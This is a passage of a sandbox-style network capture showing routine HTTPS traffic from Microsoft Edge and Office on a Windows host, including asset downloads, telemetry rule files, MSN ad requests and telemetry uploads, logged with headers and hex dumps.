2024-11-28 16:24:48 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.6	49884	13.107.246.40	443	6828	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:48 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 16:24:48 UTC	543	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:48 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: f78da902-c01e-0071-68ed-401a3e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T162448Z-174f7845968vqt9xhC1EWRgten0000000yug000000000z69 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 16:24:48 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.6	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:48 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:49 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:49 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 7e595f47-c01e-0049-281b-41ac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162449Z-174f7845968pght8hC1EWRyvxg00000001q000000000k59y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:49 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:48 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:49 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:49 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 3111ff0c-301e-001f-4971-40aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162449Z-174f7845968psccphC1EWRuz9s0000000yxg000000009km6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:49 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.6	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:49 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:49 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:49 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: da27d7c4-b01e-005c-4391-3f4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162449Z-174f78459685m244hC1EWRgp2c0000000ycg00000000gwx5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:49 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.6	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:49 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:49 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:49 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 77f1aa82-301e-003f-6391-3f266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162449Z-174f7845968qj8jrhC1EWRh41s0000000ykg00000000b4qw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:49 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	49892	20.75.60.91	443	6828	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:49 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=1066DAF9585D62E900DBCFBC59D76315&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=d1c55ccc791b42c5e8940cef405dda38 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=1066DAF9585D62E900DBCFBC59D76315; _EDGE_S=F=1&SID=31FAC44C433767CB3D7FD10942AB66BB; _EDGE_V=1
2024-11-28 16:24:49 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 28 Nov 2024 16:24:49 GMT Connection: close
2024-11-28 16:24:49 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.6	49891	20.189.173.10	443	6828	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:49 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732811086498&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3735 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=1066DAF9585D62E900DBCFBC59D76315; _EDGE_S=F=1&SID=31FAC44C433767CB3D7FD10942AB66BB; _EDGE_V=1
2024-11-28 16:24:49 UTC	3735	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 38 54 31 36 3a 32 34 3a 34 36 2e 34 39 32 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 33 38 38 35 35 33 34 64 2d 36 63 33 30 2d 34 61 36 37 2d 38 31 66 32 2d 61 65 33 37 65 30 30 32 32 34 34 65 22 2c 22 65 70 6f 63 68 22 3a 22 33 39 30 31 32 38 33 31 37 38 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-28T16:24:46.492Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"3885534d-6c30-4a67-81f2-ae37e002244e","epoch":"3901283178"},"app":{"locale
2024-11-28 16:24:50 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=acbd7d35349a45cf892729884c0888bd&HASH=acbd&LV=202411&V=4&LU=1732811089778; Domain=.microsoft.com; Expires=Fri, 28 Nov 2025 16:24:49 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=235db4b4d77b47a3a52d071381ca4d12; Domain=.microsoft.com; Expires=Thu, 28 Nov 2024 16:54:49 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3280 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 28 Nov 2024 16:24:49 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	49894	104.117.182.59	443	6828	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:49 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 16:24:50 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL Last-Modified: Sat, 23 Nov 2024 13:20:48 GMT X-Source-Length: 1658 X-Datacenter: westus X-ActivityId: 4d48a1b6-f53b-4e77-9d86-8bdbb1376117 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1658 Cache-Control: public, max-age=377807 Expires: Tue, 03 Dec 2024 01:21:36 GMT Date: Thu, 28 Nov 2024 16:24:49 GMT Connection: close
2024-11-28 16:24:50 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	49897	104.117.182.59	443	6828	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:49 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 16:24:50 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=120634 Expires: Sat, 30 Nov 2024 01:55:23 GMT Date: Thu, 28 Nov 2024 16:24:49 GMT Connection: close
2024-11-28 16:24:50 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	49896	104.117.182.59	443	6828	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:49 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
